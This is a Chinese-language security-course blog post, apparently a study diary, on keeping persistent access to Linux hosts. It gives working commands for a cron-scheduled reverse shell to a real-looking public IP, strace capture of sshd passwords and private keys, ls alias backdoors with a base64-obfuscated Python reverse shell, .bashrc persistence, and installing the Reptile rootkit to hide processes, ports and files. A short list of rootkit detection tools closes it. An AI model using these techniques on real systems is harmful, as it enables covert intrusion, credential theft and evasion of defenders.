第145天:内网安全-Linux权限维持&Rootkit后门&Strace监控&Alias别名&Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门

linux的计时任务,配置文件再/etc/crontab下

创建后门文件,这里可以创建成隐藏文件

vim /etc/.back.sh

反弹shell的内容

#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1

加上执行权限

编辑计时任务

kali开启监听就会执行一次

但是虽然隐藏了文件,但是查看计时任务还是会发现。

而且不管你怎么隐藏这里都会有一条建立连接的记录

案例二:权限维持-Linux-监控功能-Strace后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

命令

1、记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) 
查看文件
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log


2、记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

记录明文

这个记录的是通过ssh连接的密码

查看文件,会发现里面有一个123.com

每次连接一次,文件都会倍速增大,谨慎使用把

案例三:权限维持-Linux-命令自定义-Alias 后门

alias基本使用

临时添加alias命令

alias 123="ls -l"
#添加

unalias 123
#删除

甚至都不用删除,关闭窗口就会失效,正常生产环境运行的linux系统一般都只有一个窗口,除非关机,否则会一致生效

写入到家目录下的 .bashrc文件,重启也不会失效

这里后续实验就写个临时的

基础版反弹shell

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.172.130/4444 0>&1; };alerts'
# 执行完ls之后,执行反弹shell的命令

虽然能够反弹shell,但是看图中的结果也能看出来会卡住

所以现在如果能有不会影响命令执行,同时也不会卡住就是最好的,下面这段代码就能够实现这个效果。

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xNzIuMTMwIiwgNDQ0NCkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

不过要进行一些修改,把base64解密,把ip换成自己的重新加密

执行不会卡住的同时,也会反弹shell

经过实验发现这一长串,写入~/.bashrc中也能够实现,不过得写到最后面不然可能会因为闭合问题影响结果

持续化利用

vim /etc/upload

vim ~/.bashrc

if [ -f /etc/upload ]; then

. /etc/upload

fi

案例四:权限维持-Linux-内核加载 LKM-Rootkit 后门

先前面这几种情况,就算做了隐藏,查看端口一条命令也能发现与别的ip建立了连接,而使用Rootkit,可以把进程,端口,甚至文件全部都隐藏了,比较难以发现。

项目地址: Home · f0rb1dd3n/Reptile Wiki · GitHub

GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit

适用环境,我用的centos7

普通玩法

上传解压后,一键运行脚本(centos7)

$kernel=`uname -r`
  yum -y install perl vim gcc make g++ unzip
  yum -y localinstall kernel-devel-"$kernal".rpm
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
192.168.172.130
4444
1
EOF

安装完成

隐藏进程号

nohup ping 114.114.114.114 &
#不断在后台ping 114.114.114.114

ps -ef | grep ping | grep -v grep
#查看ping的进程号

/reptile/reptile_cmd hide 4774
#隐藏进程号

ps -ef | grep ping | grep -v grep

可以发现这个进程直接没了但是还可以运行

隐藏/展示端口

隐藏连接: /reptile/reptile_cmd udp hide

显示连接: /reptile/reptile_cmd tcp show

这里130的3333端口正在建立连接

执行命令后直接隐藏

甚至连文件当中带有reptile的都会隐藏

但是实验过程中发现在图形化界面当中并不会删除

进阶玩法

设置客户端,就是攻击主机需要他去连接被控主机,由于呢这里我只有centos7可以运行该程序,所以我就复制了一台centos7

这里呢攻击机的IP是192.168.172.139 被控主机的ip是192.168.172.142

被控主机设置的参数

类似于msf,进入客户端

./setup.sh client

查看选项

选项

LHOST 192.168.172.139 Local host to receive the shell

LPORT 5555 Local port to receive the shell

SRCHOST 192.168.172.139 Source host on magic packets (spoof)

SRCPORT 666 Source port on magic packets (only for TCP/UDP)

RHOST 192.168.172.142 Remote host

RPORT 22 Remote port (only for TCP/UDP)

PROT TCP Protocol to send magic packet (ICMP/TCP/UDP)

PASS s3cr3t Backdoor password (optional)

TOKEN hax0r Token to trigger the shell

这个srcport是在安装过程中设置的

配置

运行后成功反射过来

可以上传文件,也可以反弹shell

利用shell执行命令,发现是142

但是呢这个软件还是有一些问题的,就比如说在最新的kali中客户端都装不了,就更别说服务器了,不太能够比较好的适配新的系统,并且已经2020年停止更新了。

关于Rootkit的检测:

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等

Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer
GitHub - grayddq/GScan: 本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。

相关推荐
荒Huang23 分钟前
Linux挖矿病毒(kswapd0进程使cpu爆满)
linux·运维·服务器
海阔天空_201334 分钟前
Python pyautogui库:自动化操作的强大工具
运维·开发语言·python·青少年编程·自动化
桥田智能36 分钟前
气爪在自动化装配线中是如何应用的?
运维·自动化
Suckerbin2 小时前
Hms?: 1渗透测试
学习·安全·网络安全
€☞扫地僧☜€2 小时前
docker 拉取MySQL8.0镜像以及安装
运维·数据库·docker·容器
hjjdebug2 小时前
linux 下 signal() 函数的用法,信号类型在哪里定义的?
linux·signal
其乐无涯2 小时前
服务器技术(一)--Linux基础入门
linux·运维·服务器
Diamond技术流2 小时前
从0开始学习Linux——网络配置
linux·运维·网络·学习·安全·centos
写bug的小屁孩2 小时前
前后端交互接口(三)
运维·服务器·数据库·windows·用户界面·qt6.3
斑布斑布2 小时前
【linux学习2】linux基本命令行操作总结
linux·运维·服务器·学习